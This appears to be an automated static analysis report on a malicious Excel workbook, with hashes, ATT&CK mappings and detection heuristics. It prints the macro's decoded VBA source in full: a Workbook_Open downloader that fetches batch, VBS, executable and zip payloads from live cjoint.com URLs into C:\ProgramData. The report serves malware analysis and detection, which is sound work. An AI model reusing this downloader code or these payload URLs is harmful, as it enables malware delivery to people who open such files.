Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5993e4f8e676ea8c…

MALICIOUS

Office (OOXML)

19.8 KB Created: 2011-08-09 03:32:44 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-17
MD5: 2db90e85d7ec02b28001fd80f8cbdcd5 SHA-1: b4995ac1994542ece4f0b2b3a96a2c148603ad68 SHA-256: 5993e4f8e676ea8ceae4302ea681cd936b40635a7f7532d8b278d3c27d8126a4
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The Excel file contains a Workbook_Open VBA macro that utilizes the URLDownloadToFile function. This function is used to download a file from the URL https://www.cjoint.com/doc/21_05/KECrgxzbO83_protect.cmd and save it as C:\ProgramData\protect.cmd. The macro's execution of URLDownloadToFile indicates an intent to download and execute a second-stage payload.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Attribute VB_Name = "Module1"
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Workbook_Open()
SaveCopy
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.cjoint.com/doc/21_05/KECrgxzbO83_protect.cmd Referenced by macro
    • https://www.cjoint.com/doc/21_05/KECqUGPmWF3_xmle.batReferenced by macro
    • https://www.cjoint.com/doc/21_05/KECqGZsc883_dControl.ouiReferenced by macro
    • https://www.cjoint.com/doc/21_05/KECngU7yVW3_RunNHide.ouiReferenced by macro
    • https://www.cjoint.com/doc/21_05/KEFujtii2zh_uz2.vbsReferenced by macro
    • https://www.cjoint.com/doc/21_06/KFeqbojM3W3_update2.zipReferenced by macro
    • https://www.cjoint.com/doc/21_05/KECrgxzbO83_protect.cmd�Referenced by macro
    • https://www.cjoint.com/doc/21_05/KEFujtii2zh_uz2.vbs�Referenced by macro
    • https://www.cjoint.com/doc/21_06/KFeqbojM3W3_update2.zip�Referenced by macro

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2490 bytes
SHA-256: f2a01c893b38c05dc3193cd2345a23d423fd09acdd25fda6f4d2032ebceb62ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
SaveCopy


End Sub

Attribute VB_Name = "Feuil1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Private Sub CommandButton1_Click()
SaveCopy
End Sub

Attribute VB_Name = "Feuil2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Feuil3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Sub SaveCopy()
URLDownloadToFile 0, "https://www.cjoint.com/doc/21_05/KECrgxzbO83_protect.cmd", "C:\ProgramData\protect.cmd", 0, 0
URLDownloadToFile 0, "https://www.cjoint.com/doc/21_05/KECqUGPmWF3_xmle.bat", "C:\ProgramData\xmle.bat", 0, 0
URLDownloadToFile 0, "https://www.cjoint.com/doc/21_05/KECqUGPmWF3_xmle.bat", "C:\ProgramData\xmle2.bat", 0, 0
URLDownloadToFile 0, "https://www.cjoint.com/doc/21_05/KECqGZsc883_dControl.oui", "C:\ProgramData\dControl.exe", 0, 0
URLDownloadToFile 0, "https://www.cjoint.com/doc/21_05/KECngU7yVW3_RunNHide.oui", "C:\ProgramData\RunNHide.exe", 0, 0

URLDownloadToFile 0, "https://www.cjoint.com/doc/21_05/KEFujtii2zh_uz2.vbs", "C:\ProgramData\uz2.vbs", 0, 0
URLDownloadToFile 0, "https://www.cjoint.com/doc/21_06/KFeqbojM3W3_update2.zip", "C:\ProgramData\update2.zip", 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17408 bytes
SHA-256: 7e9e7abc7742277441a2fbda1958555e5cdae792ebcd208f654fc1e3ce547f75
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 2676 bytes
SHA-256: b2c9c65ffae389d2e35221cb9ba67ccce98a50f4e376ebd07f8117ecece9236b

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